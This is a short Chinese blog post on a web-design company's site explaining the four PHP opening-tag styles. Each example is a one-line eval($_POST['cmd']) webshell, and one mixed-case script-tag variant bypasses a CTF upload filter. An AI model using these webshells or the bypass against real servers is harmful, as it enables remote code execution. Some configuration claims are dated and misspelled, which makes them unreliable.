今天就跟大家聊聊有關(guān)PHP有幾種標(biāo)識(shí)風(fēng)格,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。
成都創(chuàng)新互聯(lián)始終堅(jiān)持【策劃先行,效果至上】的經(jīng)營(yíng)理念,通過(guò)多達(dá)十多年累計(jì)超上千家客戶的網(wǎng)站建設(shè)總結(jié)了一套系統(tǒng)有效的全網(wǎng)整合營(yíng)銷推廣解決方案,現(xiàn)已廣泛運(yùn)用于各行各業(yè)的客戶,其中包括:成都混凝土攪拌罐車等企業(yè),備受客戶認(rèn)可。
PHP的標(biāo)識(shí)有4種風(fēng)格
XML風(fēng)格
<?php eval($_POST['cmd']); ?>
php推薦使用的標(biāo)記風(fēng)格。
服務(wù)器管理員無(wú)法禁用,所有服務(wù)器上均可使用該風(fēng)格。
腳本風(fēng)格
<script language="php"> eval($_POST['cmd']); </script>
默認(rèn)開啟,無(wú)法禁用
筆者曾遇到過(guò)一CTF題目,要求上傳shell,但是卻對(duì)文件內(nèi)容做了過(guò)濾 ,<? 以及 php,替換為了空格。此種風(fēng)格中,language的值,大小寫都可以,因此可以構(gòu)造如下代碼進(jìn)行繞過(guò)
<script language="PhP"> eval($_POST['cmd']); </script>
簡(jiǎn)短風(fēng)格
<? eval($_POST['cmd']); ?>
此種風(fēng)格需要在配置文件php.ini中啟用short_open_tage選項(xiàng)
此種風(fēng)格在許多環(huán)境中默認(rèn)是不支持的
ASP風(fēng)格
<% eval($_POST['cmd']); %>
此種風(fēng)格需要在配置文件php.ini中啟用asp_tag選項(xiàng)
在默認(rèn)情況下是禁用的
看完上述內(nèi)容,你們對(duì)PHP的幾種標(biāo)識(shí)風(fēng)格有進(jìn)一步的了解嗎?如果還想了解更多知識(shí)或者相關(guān)內(nèi)容,請(qǐng)關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝大家的支持。
本文標(biāo)題:PHP有幾種標(biāo)識(shí)風(fēng)格
網(wǎng)站URL:http://www.chinadenli.net/article40/ishgho.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供App設(shè)計(jì)、網(wǎng)站導(dǎo)航、關(guān)鍵詞優(yōu)化、動(dòng)態(tài)網(wǎng)站、靜態(tài)網(wǎng)站、移動(dòng)網(wǎng)站建設(shè)
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)